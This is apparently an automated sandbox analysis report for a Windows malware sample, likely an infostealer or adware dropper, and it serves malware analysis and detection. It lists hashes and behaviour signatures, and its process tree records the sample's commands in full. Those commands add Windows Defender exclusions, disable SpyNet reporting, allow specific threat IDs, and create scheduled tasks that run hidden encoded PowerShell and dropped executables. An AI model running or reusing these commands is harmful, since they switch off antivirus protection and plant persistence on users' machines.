Analysis

  • max time kernel
    82s
  • max time network
    145s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    31/10/2022, 22:05

General

  • Target

    file.exe

  • Size

    7.3MB

  • MD5

    a75ccd9681b2073ff1bf782d3a285592

  • SHA1

    0cc720ea0d98bccc8a3807f9288e2bd05fc815fb

  • SHA256

    7c74576432c1d96de5ab6f00f0027b2e4565743dc1362423e5370a5fc56ee191

  • SHA512

    9e6d5ca17bf4916f7bd05b2e3709b1d58a728f33ae27de335cd979795507f9b5746b42fbef52149868a53ecd438a270c638bfbd2e1bf6ab37203478b49e9708f

  • SSDEEP

    196608:91O1gxD17+PqlqyIIZH9MjTCuFwwO125FdW0:3O1iD1a2ZdMjTCYusFdn

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 4 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops Chrome extension 1 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Drops file in System32 directory 29 IoCs
  • Drops file in Program Files directory 14 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 11 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 40 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4244
    • C:\Users\Admin\AppData\Local\Temp\7zS6304.tmp\Install.exe
      .\Install.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:4200
      • C:\Users\Admin\AppData\Local\Temp\7zS696D.tmp\Install.exe
        .\Install.exe /S /site_id "525403"
        3⤵
        • Executes dropped EXE
        • Checks BIOS information in registry
        • Checks computer location settings
        • Drops file in System32 directory
        • Enumerates system info in registry
        • Suspicious use of WriteProcessMemory
        PID:2328
        • C:\Windows\SysWOW64\forfiles.exe
          "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1508
          • C:\Windows\SysWOW64\cmd.exe
            /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:5116
            • \??\c:\windows\SysWOW64\reg.exe
              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
              6⤵
                PID:1600
              • \??\c:\windows\SysWOW64\reg.exe
                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
                6⤵
                  PID:1816
            • C:\Windows\SysWOW64\forfiles.exe
              "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:1960
              • C:\Windows\SysWOW64\cmd.exe
                /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:1812
                • \??\c:\windows\SysWOW64\reg.exe
                  REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
                  6⤵
                    PID:4564
                  • \??\c:\windows\SysWOW64\reg.exe
                    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
                    6⤵
                      PID:1028
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /CREATE /TN "gxjPlCUcA" /SC once /ST 18:56:11 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                  4⤵
                  • Creates scheduled task(s)
                  PID:4332
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /run /I /tn "gxjPlCUcA"
                  4⤵
                    PID:2720
                  • C:\Windows\SysWOW64\schtasks.exe
                    schtasks /DELETE /F /TN "gxjPlCUcA"
                    4⤵
                      PID:4416
                    • C:\Windows\SysWOW64\schtasks.exe
                      schtasks /CREATE /TN "bWLKrWFeqGsUKIPSIT" /SC once /ST 23:06:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\aFevMsDBlqIRbqTyh\IZVHwqqvKwOqTrb\ZLQwkOe.exe\" KP /site_id 525403 /S" /V1 /F
                      4⤵
                      • Drops file in Windows directory
                      • Creates scheduled task(s)
                      PID:1652
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                1⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:316
                • C:\Windows\system32\gpupdate.exe
                  "C:\Windows\system32\gpupdate.exe" /force
                  2⤵
                    PID:3716
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                  1⤵
                    PID:2400
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                    1⤵
                      PID:3240
                    • C:\Windows\system32\gpscript.exe
                      gpscript.exe /RefreshSystemParam
                      1⤵
                        PID:804
                      • C:\Users\Admin\AppData\Local\Temp\aFevMsDBlqIRbqTyh\IZVHwqqvKwOqTrb\ZLQwkOe.exe
                        C:\Users\Admin\AppData\Local\Temp\aFevMsDBlqIRbqTyh\IZVHwqqvKwOqTrb\ZLQwkOe.exe KP /site_id 525403 /S
                        1⤵
                        • Executes dropped EXE
                        • Drops file in System32 directory
                        • Suspicious use of WriteProcessMemory
                        PID:3180
                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                          powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;"
                          2⤵
                          • Drops file in System32 directory
                          • Modifies data under HKEY_USERS
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          • Suspicious use of WriteProcessMemory
                          PID:1852
                          • C:\Windows\SysWOW64\cmd.exe
                            "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                            3⤵
                            • Suspicious use of WriteProcessMemory
                            PID:1756
                            • C:\Windows\SysWOW64\reg.exe
                              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                              4⤵
                                PID:4548
                            • C:\Windows\SysWOW64\reg.exe
                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
                              3⤵
                                PID:2292
                              • C:\Windows\SysWOW64\reg.exe
                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                3⤵
                                  PID:4948
                                • C:\Windows\SysWOW64\reg.exe
                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                  3⤵
                                    PID:1056
                                  • C:\Windows\SysWOW64\reg.exe
                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                    3⤵
                                      PID:836
                                    • C:\Windows\SysWOW64\reg.exe
                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                      3⤵
                                        PID:1716
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                        3⤵
                                          PID:2052
                                        • C:\Windows\SysWOW64\reg.exe
                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                          3⤵
                                            PID:3052
                                          • C:\Windows\SysWOW64\reg.exe
                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                            3⤵
                                              PID:1108
                                            • C:\Windows\SysWOW64\reg.exe
                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                              3⤵
                                                PID:1104
                                              • C:\Windows\SysWOW64\reg.exe
                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                                3⤵
                                                  PID:732
                                                • C:\Windows\SysWOW64\reg.exe
                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                                  3⤵
                                                    PID:4056
                                                  • C:\Windows\SysWOW64\reg.exe
                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                                    3⤵
                                                      PID:1960
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                                      3⤵
                                                        PID:4872
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                                                        3⤵
                                                          PID:2028
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                                                          3⤵
                                                            PID:1784
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                                                            3⤵
                                                              PID:1812
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                                                              3⤵
                                                                PID:1316
                                                              • C:\Windows\SysWOW64\reg.exe
                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                                                                3⤵
                                                                  PID:1524
                                                                • C:\Windows\SysWOW64\reg.exe
                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                                                                  3⤵
                                                                    PID:4564
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                                                                    3⤵
                                                                      PID:1816
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                                                                      3⤵
                                                                        PID:4932
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
                                                                        3⤵
                                                                          PID:3212
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
                                                                          3⤵
                                                                            PID:2032
                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                          powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\SvbbHukzU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\SvbbHukzU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\XYDCXZXPsTrrC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\XYDCXZXPsTrrC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\dVbwgRbTSJJLORWiduR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\dVbwgRbTSJJLORWiduR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\nolBHjueEzUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\nolBHjueEzUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\yOvDRBMJNKKU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\yOvDRBMJNKKU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\YVKeAuHUOaLCRzVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\YVKeAuHUOaLCRzVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\aFevMsDBlqIRbqTyh\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\aFevMsDBlqIRbqTyh\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\grMXAHIUMHIHAuvw\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\grMXAHIUMHIHAuvw\" /t REG_DWORD /d 0 /reg:64;"
                                                                          2⤵
                                                                          • Drops file in System32 directory
                                                                          • Modifies data under HKEY_USERS
                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                          PID:4740
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\SvbbHukzU" /t REG_DWORD /d 0 /reg:32
                                                                            3⤵
                                                                              PID:204
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\SvbbHukzU" /t REG_DWORD /d 0 /reg:32
                                                                                4⤵
                                                                                  PID:3520
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\dVbwgRbTSJJLORWiduR" /t REG_DWORD /d 0 /reg:32
                                                                                3⤵
                                                                                  PID:3804
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\XYDCXZXPsTrrC" /t REG_DWORD /d 0 /reg:64
                                                                                  3⤵
                                                                                    PID:4484
                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yOvDRBMJNKKU2" /t REG_DWORD /d 0 /reg:64
                                                                                    3⤵
                                                                                      PID:1828
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yOvDRBMJNKKU2" /t REG_DWORD /d 0 /reg:32
                                                                                      3⤵
                                                                                        PID:3272
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\aFevMsDBlqIRbqTyh /t REG_DWORD /d 0 /reg:64
                                                                                        3⤵
                                                                                          PID:2768
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\aFevMsDBlqIRbqTyh /t REG_DWORD /d 0 /reg:32
                                                                                          3⤵
                                                                                            PID:5104
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\grMXAHIUMHIHAuvw /t REG_DWORD /d 0 /reg:64
                                                                                            3⤵
                                                                                              PID:4600
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\grMXAHIUMHIHAuvw /t REG_DWORD /d 0 /reg:32
                                                                                              3⤵
                                                                                                PID:5048
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\YVKeAuHUOaLCRzVB /t REG_DWORD /d 0 /reg:64
                                                                                                3⤵
                                                                                                  PID:1516
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\YVKeAuHUOaLCRzVB /t REG_DWORD /d 0 /reg:32
                                                                                                  3⤵
                                                                                                    PID:3548
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\nolBHjueEzUn" /t REG_DWORD /d 0 /reg:64
                                                                                                    3⤵
                                                                                                      PID:4756
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\nolBHjueEzUn" /t REG_DWORD /d 0 /reg:32
                                                                                                      3⤵
                                                                                                        PID:316
                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\dVbwgRbTSJJLORWiduR" /t REG_DWORD /d 0 /reg:64
                                                                                                        3⤵
                                                                                                          PID:3828
                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\XYDCXZXPsTrrC" /t REG_DWORD /d 0 /reg:32
                                                                                                          3⤵
                                                                                                            PID:444
                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\SvbbHukzU" /t REG_DWORD /d 0 /reg:64
                                                                                                            3⤵
                                                                                                              PID:3848
                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                            schtasks /CREATE /TN "gBhwtZQku" /SC once /ST 16:44:20 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                            2⤵
                                                                                                            • Creates scheduled task(s)
                                                                                                            PID:1428
                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                            schtasks /run /I /tn "gBhwtZQku"
                                                                                                            2⤵
